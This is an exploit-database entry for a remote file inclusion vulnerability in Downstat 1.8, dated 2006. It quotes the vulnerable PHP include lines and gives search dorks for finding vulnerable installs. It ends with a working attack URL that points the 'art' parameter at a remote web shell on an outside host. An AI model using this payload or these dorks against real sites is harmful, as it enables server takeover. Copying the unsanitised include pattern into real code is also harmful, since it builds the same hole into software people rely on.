[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Downstat <= 1.8 (art) Remote File Include Vulnerability
# Published : 2006-09-13
# Author : SilenZ
# Previous Title : phpunity.postcard (gallery_path) Remote File Include Vulnerability
# Next Title : Shadowed Portal <= 5.599 (root) Remote File Include Vulnerability
DESCRIPTION: Remote file include vuln found by sZ [sept, 8 2006.]
SOFTWARE: downstat 1.8
VENDOR URL: http://vmist.net/index.php?script=Downstat
DORKs:
"Login To Downstat 1.8"
allinurl:"/downstat/"
NOTES: greetz to: neo-vortex, sk0tie, icez. visit @ irc.bluehell.org #silenz
VULN CODE:
------
admin.php:
if(!@include($art."in_php.php")) exit("upload ".$art."in_php.php");
------
chart.php:
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
------
modes.php
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
-----
stats.php
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
----
EXAMPLE:
http://site.com/downstat1.8/chart.php?art=http://silenz.be/shell.txt?
# www.Syue.com [2006-09-13]